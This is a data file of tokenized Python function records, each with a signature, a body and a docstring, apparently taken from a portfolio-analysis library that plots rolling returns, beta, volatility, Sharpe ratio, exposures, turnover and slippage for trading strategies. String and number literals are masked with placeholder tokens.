{"signature": "def plot_rolling_returns(returns,<EOL>factor_returns=None,<EOL>live_start_date=None,<EOL>logy=False,<EOL>cone_std=None,<EOL>legend_loc='<STR_LIT>',<EOL>volatility_match=False,<EOL>cone_function=timeseries.forecast_cone_bootstrap,<EOL>ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_yscale('<STR_LIT>' if logy else '<STR_LIT>')<EOL>if volatility_match and factor_returns is None:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>elif volatility_match and factor_returns is not None:<EOL><INDENT>bmark_vol = factor_returns.loc[returns.index].std()<EOL>returns = (returns / returns.std()) * bmark_vol<EOL><DEDENT>cum_rets = ep.cum_returns(returns, <NUM_LIT:1.0>)<EOL>y_axis_formatter = FuncFormatter(utils.two_dec_places)<EOL>ax.yaxis.set_major_formatter(FuncFormatter(y_axis_formatter))<EOL>if factor_returns is not None:<EOL><INDENT>cum_factor_returns = ep.cum_returns(<EOL>factor_returns[cum_rets.index], <NUM_LIT:1.0>)<EOL>cum_factor_returns.plot(lw=<NUM_LIT:2>, color='<STR_LIT>',<EOL>label=factor_returns.name, alpha=<NUM_LIT>,<EOL>ax=ax, **kwargs)<EOL><DEDENT>if live_start_date is not None:<EOL><INDENT>live_start_date = ep.utils.get_utc_timestamp(live_start_date)<EOL>is_cum_returns = cum_rets.loc[cum_rets.index < live_start_date]<EOL>oos_cum_returns = cum_rets.loc[cum_rets.index >= live_start_date]<EOL><DEDENT>else:<EOL><INDENT>is_cum_returns = cum_rets<EOL>oos_cum_returns = pd.Series([])<EOL><DEDENT>is_cum_returns.plot(lw=<NUM_LIT:3>, color='<STR_LIT>', alpha=<NUM_LIT>,<EOL>label='<STR_LIT>', ax=ax, **kwargs)<EOL>if len(oos_cum_returns) > <NUM_LIT:0>:<EOL><INDENT>oos_cum_returns.plot(lw=<NUM_LIT:4>, color='<STR_LIT>', alpha=<NUM_LIT>,<EOL>label='<STR_LIT>', ax=ax, **kwargs)<EOL>if cone_std is not None:<EOL><INDENT>if isinstance(cone_std, (float, int)):<EOL><INDENT>cone_std = [cone_std]<EOL><DEDENT>is_returns = returns.loc[returns.index < live_start_date]<EOL>cone_bounds = cone_function(<EOL>is_returns,<EOL>len(oos_cum_returns),<EOL>cone_std=cone_std,<EOL>starting_value=is_cum_returns[-<NUM_LIT:1>])<EOL>cone_bounds = cone_bounds.set_index(oos_cum_returns.index)<EOL>for std in cone_std:<EOL><INDENT>ax.fill_between(cone_bounds.index,<EOL>cone_bounds[float(std)],<EOL>cone_bounds[float(-std)],<EOL>color='<STR_LIT>', alpha=<NUM_LIT:0.5>)<EOL><DEDENT><DEDENT><DEDENT>if legend_loc is not None:<EOL><INDENT>ax.legend(loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL><DEDENT>ax.axhline(<NUM_LIT:1.0>, linestyle='<STR_LIT>', color='<STR_LIT>', lw=<NUM_LIT:2>)<EOL>return ax<EOL>", "docstring": "Plots cumulative rolling returns versus some benchmarks'.\n\nBacktest returns are in green, and out-of-sample (live trading)\nreturns are in red.\n\nAdditionally, a non-parametric cone plot may be added to the\nout-of-sample returns region.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.Series, optional\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\nlive_start_date : datetime, optional\n    The date when the strategy began live trading, after\n    its backtest period. This date should be normalized.\nlogy : bool, optional\n    Whether to log-scale the y-axis.\ncone_std : float, or tuple, optional\n    If float, The standard deviation to use for the cone plots.\n    If tuple, Tuple of standard deviation values to use for the cone plots\n     - See timeseries.forecast_cone_bounds for more details.\nlegend_loc : matplotlib.loc, optional\n    The location of the legend on the plot.\nvolatility_match : bool, optional\n    Whether to normalize the volatility of the returns to those of the\n    benchmark returns. This helps compare strategies with different\n    volatilities. Requires passing of benchmark_rets.\ncone_function : function, optional\n    Function to use when generating forecast probability cone.\n    The function signiture must follow the form:\n    def cone(in_sample_returns (pd.Series),\n             days_to_project_forward (int),\n             cone_std= (float, or tuple),\n             starting_value= (int, or float))\n    See timeseries.forecast_cone_bootstrap for an example.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m13"}
{"signature": "def plot_rolling_beta(returns, factor_returns, legend_loc='<STR_LIT>',<EOL>ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>y_axis_formatter = FuncFormatter(utils.two_dec_places)<EOL>ax.yaxis.set_major_formatter(FuncFormatter(y_axis_formatter))<EOL>ax.set_title(\"<STR_LIT>\" + str(factor_returns.name))<EOL>ax.set_ylabel('<STR_LIT>')<EOL>rb_1 = timeseries.rolling_beta(<EOL>returns, factor_returns, rolling_window=APPROX_BDAYS_PER_MONTH * <NUM_LIT:6>)<EOL>rb_1.plot(color='<STR_LIT>', lw=<NUM_LIT:3>, alpha=<NUM_LIT>, ax=ax, **kwargs)<EOL>rb_2 = timeseries.rolling_beta(<EOL>returns, factor_returns, rolling_window=APPROX_BDAYS_PER_MONTH * <NUM_LIT:12>)<EOL>rb_2.plot(color='<STR_LIT>', lw=<NUM_LIT:3>, alpha=<NUM_LIT>, ax=ax, **kwargs)<EOL>ax.axhline(rb_1.mean(), color='<STR_LIT>', linestyle='<STR_LIT>', lw=<NUM_LIT:3>)<EOL>ax.axhline(<NUM_LIT:0.0>, color='<STR_LIT>', linestyle='<STR_LIT:->', lw=<NUM_LIT:2>)<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.legend(['<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>ax.set_ylim((-<NUM_LIT:1.0>, <NUM_LIT:1.0>))<EOL>return ax<EOL>", "docstring": "Plots the rolling 6-month and 12-month beta versus date.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.Series\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\nlegend_loc : matplotlib.loc, optional\n    The location of the legend on the plot.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m14"}
{"signature": "def plot_rolling_volatility(returns, factor_returns=None,<EOL>rolling_window=APPROX_BDAYS_PER_MONTH * <NUM_LIT:6>,<EOL>legend_loc='<STR_LIT>', ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>y_axis_formatter = FuncFormatter(utils.two_dec_places)<EOL>ax.yaxis.set_major_formatter(FuncFormatter(y_axis_formatter))<EOL>rolling_vol_ts = timeseries.rolling_volatility(<EOL>returns, rolling_window)<EOL>rolling_vol_ts.plot(alpha=<NUM_LIT>, lw=<NUM_LIT:3>, color='<STR_LIT>', ax=ax,<EOL>**kwargs)<EOL>if factor_returns is not None:<EOL><INDENT>rolling_vol_ts_factor = timeseries.rolling_volatility(<EOL>factor_returns, rolling_window)<EOL>rolling_vol_ts_factor.plot(alpha=<NUM_LIT>, lw=<NUM_LIT:3>, color='<STR_LIT>', ax=ax,<EOL>**kwargs)<EOL><DEDENT>ax.set_title('<STR_LIT>')<EOL>ax.axhline(<EOL>rolling_vol_ts.mean(),<EOL>color='<STR_LIT>',<EOL>linestyle='<STR_LIT>',<EOL>lw=<NUM_LIT:3>)<EOL>ax.axhline(<NUM_LIT:0.0>, color='<STR_LIT>', linestyle='<STR_LIT:->', lw=<NUM_LIT:2>)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>if factor_returns is None:<EOL><INDENT>ax.legend(['<STR_LIT>', '<STR_LIT>'],<EOL>loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>ax.legend(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'],<EOL>loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL><DEDENT>return ax<EOL>", "docstring": "Plots the rolling volatility versus date.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.Series, optional\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\nrolling_window : int, optional\n    The days window over which to compute the volatility.\nlegend_loc : matplotlib.loc, optional\n    The location of the legend on the plot.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m15"}
{"signature": "def plot_rolling_sharpe(returns, factor_returns=None,<EOL>rolling_window=APPROX_BDAYS_PER_MONTH * <NUM_LIT:6>,<EOL>legend_loc='<STR_LIT>', ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>y_axis_formatter = FuncFormatter(utils.two_dec_places)<EOL>ax.yaxis.set_major_formatter(FuncFormatter(y_axis_formatter))<EOL>rolling_sharpe_ts = timeseries.rolling_sharpe(<EOL>returns, rolling_window)<EOL>rolling_sharpe_ts.plot(alpha=<NUM_LIT>, lw=<NUM_LIT:3>, color='<STR_LIT>', ax=ax,<EOL>**kwargs)<EOL>if factor_returns is not None:<EOL><INDENT>rolling_sharpe_ts_factor = timeseries.rolling_sharpe(<EOL>factor_returns, rolling_window)<EOL>rolling_sharpe_ts_factor.plot(alpha=<NUM_LIT>, lw=<NUM_LIT:3>, color='<STR_LIT>', ax=ax,<EOL>**kwargs)<EOL><DEDENT>ax.set_title('<STR_LIT>')<EOL>ax.axhline(<EOL>rolling_sharpe_ts.mean(),<EOL>color='<STR_LIT>',<EOL>linestyle='<STR_LIT>',<EOL>lw=<NUM_LIT:3>)<EOL>ax.axhline(<NUM_LIT:0.0>, color='<STR_LIT>', linestyle='<STR_LIT:->', lw=<NUM_LIT:3>)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>if factor_returns is None:<EOL><INDENT>ax.legend(['<STR_LIT>', '<STR_LIT>'],<EOL>loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>ax.legend(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'],<EOL>loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL><DEDENT>return ax<EOL>", "docstring": "Plots the rolling Sharpe ratio versus date.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.Series, optional\n    Daily noncumulative returns of the benchmark factor for\n    which the benchmark rolling Sharpe is computed. Usually\n    a benchmark such as market returns.\n     - This is in the same style as returns.\nrolling_window : int, optional\n    The days window over which to compute the sharpe ratio.\nlegend_loc : matplotlib.loc, optional\n    The location of the legend on the plot.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m16"}
{"signature": "def plot_gross_leverage(returns, positions, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>gl = timeseries.gross_lev(positions)<EOL>gl.plot(lw=<NUM_LIT:0.5>, color='<STR_LIT>', legend=False, ax=ax, **kwargs)<EOL>ax.axhline(gl.mean(), color='<STR_LIT:g>', linestyle='<STR_LIT>', lw=<NUM_LIT:3>)<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots gross leverage versus date.\n\nGross leverage is the sum of long and short exposure per share\ndivided by net asset value.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m17"}
{"signature": "def plot_exposures(returns, positions, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>pos_no_cash = positions.drop('<STR_LIT>', axis=<NUM_LIT:1>)<EOL>l_exp = pos_no_cash[pos_no_cash > <NUM_LIT:0>].sum(axis=<NUM_LIT:1>) / positions.sum(axis=<NUM_LIT:1>)<EOL>s_exp = pos_no_cash[pos_no_cash < <NUM_LIT:0>].sum(axis=<NUM_LIT:1>) / positions.sum(axis=<NUM_LIT:1>)<EOL>net_exp = pos_no_cash.sum(axis=<NUM_LIT:1>) / positions.sum(axis=<NUM_LIT:1>)<EOL>ax.fill_between(l_exp.index,<EOL><NUM_LIT:0>,<EOL>l_exp.values,<EOL>label='<STR_LIT>', color='<STR_LIT>', alpha=<NUM_LIT:0.5>)<EOL>ax.fill_between(s_exp.index,<EOL><NUM_LIT:0>,<EOL>s_exp.values,<EOL>label='<STR_LIT>', color='<STR_LIT>', alpha=<NUM_LIT:0.5>)<EOL>ax.plot(net_exp.index, net_exp.values,<EOL>label='<STR_LIT>', color='<STR_LIT>', linestyle='<STR_LIT>')<EOL>ax.set_xlim((returns.index[<NUM_LIT:0>], returns.index[-<NUM_LIT:1>]))<EOL>ax.set_title(\"<STR_LIT>\")<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.legend(loc='<STR_LIT>', frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots a cake chart of the long and short exposure.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\npositions_alloc : pd.DataFrame\n    Portfolio allocation of positions. See\n    pos.get_percent_alloc.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m18"}
{"signature": "def show_and_plot_top_positions(returns, positions_alloc,<EOL>show_and_plot=<NUM_LIT:2>, hide_positions=False,<EOL>legend_loc='<STR_LIT>', ax=None,<EOL>**kwargs):", "body": "positions_alloc = positions_alloc.copy()<EOL>positions_alloc.columns = positions_alloc.columns.map(utils.format_asset)<EOL>df_top_long, df_top_short, df_top_abs = pos.get_top_long_short_abs(<EOL>positions_alloc)<EOL>if show_and_plot == <NUM_LIT:1> or show_and_plot == <NUM_LIT:2>:<EOL><INDENT>utils.print_table(pd.DataFrame(df_top_long * <NUM_LIT:100>, columns=['<STR_LIT>']),<EOL>float_format='<STR_LIT>'.format,<EOL>name='<STR_LIT>')<EOL>utils.print_table(pd.DataFrame(df_top_short * <NUM_LIT:100>, columns=['<STR_LIT>']),<EOL>float_format='<STR_LIT>'.format,<EOL>name='<STR_LIT>')<EOL>utils.print_table(pd.DataFrame(df_top_abs * <NUM_LIT:100>, columns=['<STR_LIT>']),<EOL>float_format='<STR_LIT>'.format,<EOL>name='<STR_LIT>')<EOL><DEDENT>if show_and_plot == <NUM_LIT:0> or show_and_plot == <NUM_LIT:2>:<EOL><INDENT>if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>positions_alloc[df_top_abs.index].plot(<EOL>title='<STR_LIT>',<EOL>alpha=<NUM_LIT:0.5>, ax=ax, **kwargs)<EOL>if legend_loc == '<STR_LIT>':<EOL><INDENT>box = ax.get_position()<EOL>ax.set_position([box.x0, box.y0 + box.height * <NUM_LIT:0.1>,<EOL>box.width, box.height * <NUM_LIT>])<EOL>ax.legend(loc='<STR_LIT>', frameon=True, framealpha=<NUM_LIT:0.5>,<EOL>bbox_to_anchor=(<NUM_LIT:0.5>, -<NUM_LIT>), ncol=<NUM_LIT:5>)<EOL><DEDENT>else:<EOL><INDENT>ax.legend(loc=legend_loc)<EOL><DEDENT>ax.set_xlim((returns.index[<NUM_LIT:0>], returns.index[-<NUM_LIT:1>]))<EOL>ax.set_ylabel('<STR_LIT>')<EOL>if hide_positions:<EOL><INDENT>ax.legend_.remove()<EOL><DEDENT>return ax<EOL><DEDENT>", "docstring": "Prints and/or plots the exposures of the top 10 held positions of\nall time.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\npositions_alloc : pd.DataFrame\n    Portfolio allocation of positions. See pos.get_percent_alloc.\nshow_and_plot : int, optional\n    By default, this is 2, and both prints and plots.\n    If this is 0, it will only plot; if 1, it will only print.\nhide_positions : bool, optional\n    If True, will not output any symbol names.\nlegend_loc : matplotlib.loc, optional\n    The location of the legend on the plot.\n    By default, the legend will display below the plot.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes, conditional\n    The axes that were plotted on.", "id": "f12210:m19"}
{"signature": "def plot_max_median_position_concentration(positions, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>alloc_summary = pos.get_max_median_position_concentration(positions)<EOL>colors = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>alloc_summary.plot(linewidth=<NUM_LIT:1>, color=colors, alpha=<NUM_LIT>, ax=ax)<EOL>ax.legend(loc='<STR_LIT>', frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_title('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots the max and median of long and short position concentrations\nover the time.\n\nParameters\n----------\npositions : pd.DataFrame\n    The positions that the strategy takes over time.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m20"}
{"signature": "def plot_sector_allocations(returns, sector_alloc, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>sector_alloc.plot(title='<STR_LIT>',<EOL>alpha=<NUM_LIT:0.5>, ax=ax, **kwargs)<EOL>box = ax.get_position()<EOL>ax.set_position([box.x0, box.y0 + box.height * <NUM_LIT:0.1>,<EOL>box.width, box.height * <NUM_LIT>])<EOL>ax.legend(loc='<STR_LIT>', frameon=True, framealpha=<NUM_LIT:0.5>,<EOL>bbox_to_anchor=(<NUM_LIT:0.5>, -<NUM_LIT>), ncol=<NUM_LIT:5>)<EOL>ax.set_xlim((sector_alloc.index[<NUM_LIT:0>], sector_alloc.index[-<NUM_LIT:1>]))<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots the sector exposures of the portfolio over time.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nsector_alloc : pd.DataFrame\n    Portfolio allocation of positions. See pos.get_sector_alloc.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m21"}
{"signature": "def plot_return_quantiles(returns, live_start_date=None, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>is_returns = returns if live_start_date is Noneelse returns.loc[returns.index < live_start_date]<EOL>is_weekly = ep.aggregate_returns(is_returns, '<STR_LIT>')<EOL>is_monthly = ep.aggregate_returns(is_returns, '<STR_LIT>')<EOL>sns.boxplot(data=[is_returns, is_weekly, is_monthly],<EOL>palette=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>ax=ax, **kwargs)<EOL>if live_start_date is not None:<EOL><INDENT>oos_returns = returns.loc[returns.index >= live_start_date]<EOL>oos_weekly = ep.aggregate_returns(oos_returns, '<STR_LIT>')<EOL>oos_monthly = ep.aggregate_returns(oos_returns, '<STR_LIT>')<EOL>sns.swarmplot(data=[oos_returns, oos_weekly, oos_monthly], ax=ax,<EOL>color=\"<STR_LIT>\",<EOL>marker=\"<STR_LIT:d>\", **kwargs)<EOL>red_dots = matplotlib.lines.Line2D([], [], color=\"<STR_LIT>\", marker=\"<STR_LIT:d>\",<EOL>label=\"<STR_LIT>\",<EOL>linestyle='<STR_LIT>')<EOL>ax.legend(handles=[red_dots], frameon=True, framealpha=<NUM_LIT:0.5>)<EOL><DEDENT>ax.set_xticklabels(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>ax.set_title('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Creates a box plot of daily, weekly, and monthly return\ndistributions.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nlive_start_date : datetime, optional\n    The point in time when the strategy began live trading, after\n    its backtest period.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to seaborn plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m22"}
{"signature": "def plot_turnover(returns, transactions, positions,<EOL>legend_loc='<STR_LIT>', ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>y_axis_formatter = FuncFormatter(utils.two_dec_places)<EOL>ax.yaxis.set_major_formatter(FuncFormatter(y_axis_formatter))<EOL>df_turnover = txn.get_turnover(positions, transactions)<EOL>df_turnover_by_month = df_turnover.resample(\"<STR_LIT:M>\").mean()<EOL>df_turnover.plot(color='<STR_LIT>', alpha=<NUM_LIT:1.0>, lw=<NUM_LIT:0.5>, ax=ax, **kwargs)<EOL>df_turnover_by_month.plot(<EOL>color='<STR_LIT>',<EOL>alpha=<NUM_LIT:0.5>,<EOL>lw=<NUM_LIT:2>,<EOL>ax=ax,<EOL>**kwargs)<EOL>ax.axhline(<EOL>df_turnover.mean(), color='<STR_LIT>', linestyle='<STR_LIT>', lw=<NUM_LIT:3>, alpha=<NUM_LIT:1.0>)<EOL>ax.legend(['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_xlim((returns.index[<NUM_LIT:0>], returns.index[-<NUM_LIT:1>]))<EOL>ax.set_ylim((<NUM_LIT:0>, <NUM_LIT:2>))<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots turnover vs. date.\n\nTurnover is the number of shares traded for a period as a fraction\nof total shares.\n\nDisplays daily total, daily average per month, and all-time daily\naverage.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in tears.create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.\nlegend_loc : matplotlib.loc, optional\n    The location of the legend on the plot.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m23"}
{"signature": "def plot_slippage_sweep(returns, positions, transactions,<EOL>slippage_params=(<NUM_LIT:3>, <NUM_LIT:8>, <NUM_LIT:10>, <NUM_LIT:12>, <NUM_LIT:15>, <NUM_LIT:20>, <NUM_LIT:50>),<EOL>ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>slippage_sweep = pd.DataFrame()<EOL>for bps in slippage_params:<EOL><INDENT>adj_returns = txn.adjust_returns_for_slippage(returns, positions,<EOL>transactions, bps)<EOL>label = str(bps) + \"<STR_LIT>\"<EOL>slippage_sweep[label] = ep.cum_returns(adj_returns, <NUM_LIT:1>)<EOL><DEDENT>slippage_sweep.plot(alpha=<NUM_LIT:1.0>, lw=<NUM_LIT:0.5>, ax=ax)<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.legend(loc='<STR_LIT>', frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>return ax<EOL>", "docstring": "Plots equity curves at different per-dollar slippage assumptions.\n\nParameters\n----------\nreturns : pd.Series\n    Timeseries of portfolio returns to be adjusted for various\n    degrees of slippage.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in tears.create_full_tear_sheet.\nslippage_params: tuple\n    Slippage pameters to apply to the return time series (in\n    basis points).\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to seaborn plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m24"}
{"signature": "def plot_slippage_sensitivity(returns, positions, transactions,<EOL>ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>avg_returns_given_slippage = pd.Series()<EOL>for bps in range(<NUM_LIT:1>, <NUM_LIT:100>):<EOL><INDENT>adj_returns = txn.adjust_returns_for_slippage(returns, positions,<EOL>transactions, bps)<EOL>avg_returns = ep.annual_return(adj_returns)<EOL>avg_returns_given_slippage.loc[bps] = avg_returns<EOL><DEDENT>avg_returns_given_slippage.plot(alpha=<NUM_LIT:1.0>, lw=<NUM_LIT:2>, ax=ax)<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_xticks(np.arange(<NUM_LIT:0>, <NUM_LIT:100>, <NUM_LIT:10>))<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots curve relating per-dollar slippage to average annual returns.\n\nParameters\n----------\nreturns : pd.Series\n    Timeseries of portfolio returns to be adjusted for various\n    degrees of slippage.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in tears.create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to seaborn plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m25"}
{"signature": "def plot_daily_turnover_hist(transactions, positions,<EOL>ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>turnover = txn.get_turnover(positions, transactions)<EOL>sns.distplot(turnover, ax=ax, **kwargs)<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots a histogram of daily turnover rates.\n\nParameters\n----------\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in tears.create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to seaborn plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m27"}
{"signature": "def plot_daily_volume(returns, transactions, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>daily_txn = txn.get_txn_vol(transactions)<EOL>daily_txn.txn_shares.plot(alpha=<NUM_LIT:1.0>, lw=<NUM_LIT:0.5>, ax=ax, **kwargs)<EOL>ax.axhline(daily_txn.txn_shares.mean(), color='<STR_LIT>',<EOL>linestyle='<STR_LIT>', lw=<NUM_LIT:3>, alpha=<NUM_LIT:1.0>)<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_xlim((returns.index[<NUM_LIT:0>], returns.index[-<NUM_LIT:1>]))<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots trading volume per day vs. date.\n\nAlso displays all-time daily average.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in tears.create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m28"}
